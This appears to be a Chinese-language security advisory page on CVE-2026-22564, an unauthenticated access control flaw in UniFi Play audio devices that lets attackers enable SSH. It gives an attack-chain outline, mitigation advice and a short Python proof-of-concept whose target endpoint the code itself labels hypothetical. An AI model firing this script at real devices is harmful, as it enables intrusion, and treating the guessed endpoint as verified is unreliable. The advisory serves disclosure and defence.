IPBUF安全漏洞报告
English
CVE-2026-22564 CVSS 9.8 严重

CVE-2026-22564: UniFi Play 访问控制不当漏洞

披露日期: 2026-04-13

漏洞信息

漏洞编号
CVE-2026-22564
漏洞类型
访问控制不当
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
UniFi Play PowerAmp, UniFi Play Audio Port

相关标签

访问控制远程代码执行UniFiIoT安全严重漏洞

漏洞概述

CVE-2026-22564是UniFi Play设备中存在的访问控制不当漏洞。由于系统未正确验证网络请求的权限,攻击者无需身份认证即可利用该漏洞启用SSH服务。成功利用后,攻击者可对系统进行未授权修改,完全控制设备。该漏洞CVSS评分为9.8,属于严重级别,需立即修复。

技术细节

该漏洞的根源在于UniFi Play网络接口缺乏严格的访问控制验证。虽然物理或网络层面的访问是前提条件,但一旦攻击者接入该网络,即可利用特定的API端点或配置接口,绕过系统的身份认证机制(PR:N)。攻击者通过发送恶意构造的数据包,触发系统后台逻辑错误,从而激活默认禁用的SSH管理服务。由于SSH服务通常提供最高权限,攻击者随后可以登录系统,执行任意系统命令,导致数据泄露、系统被篡改或服务中断,对CIA三要素造成严重影响。

攻击链分析

STEP 1
步骤1:网络侦察
攻击者扫描网络以发现UniFi Play PowerAmp或Audio Port设备。
STEP 2
步骤2:发送恶意请求
攻击者向设备的管理接口发送特制的HTTP请求,利用访问控制缺陷。
STEP 3
步骤3:启用SSH服务
设备响应请求,错误地绕过认证并开启SSH端口(通常是22)。
STEP 4
步骤4:获取系统控制权
攻击者使用SSH连接到设备,获取root或管理员权限,执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssh_enable(target_ip): # Exploit concept for CVE-2026-22564 # This script attempts to enable SSH on the target device # Target endpoint (Hypothetical based on description) url = f"http://{target_ip}/api/system/enable-ssh" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-22564-Scanner" } # Payload to enable SSH payload = { "enabled": True, "port": 22 } try: # Send POST request without authentication response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! SSH has been enabled.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {e}") return False if __name__ == "__main__": target = "<TARGET_IP_ADDRESS>" exploit_ssh_enable(target)

影响范围

UniFi Play PowerAmp <= 1.0.35
UniFi Play Audio Port <= 1.0.24

防御指南

临时缓解措施
在未完成升级前,建议将受影响的设备放置在受信任的隔离网络(VLAN)中,禁止非必要的外部网络访问,并检查设备日志是否存在异常的SSH开启记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表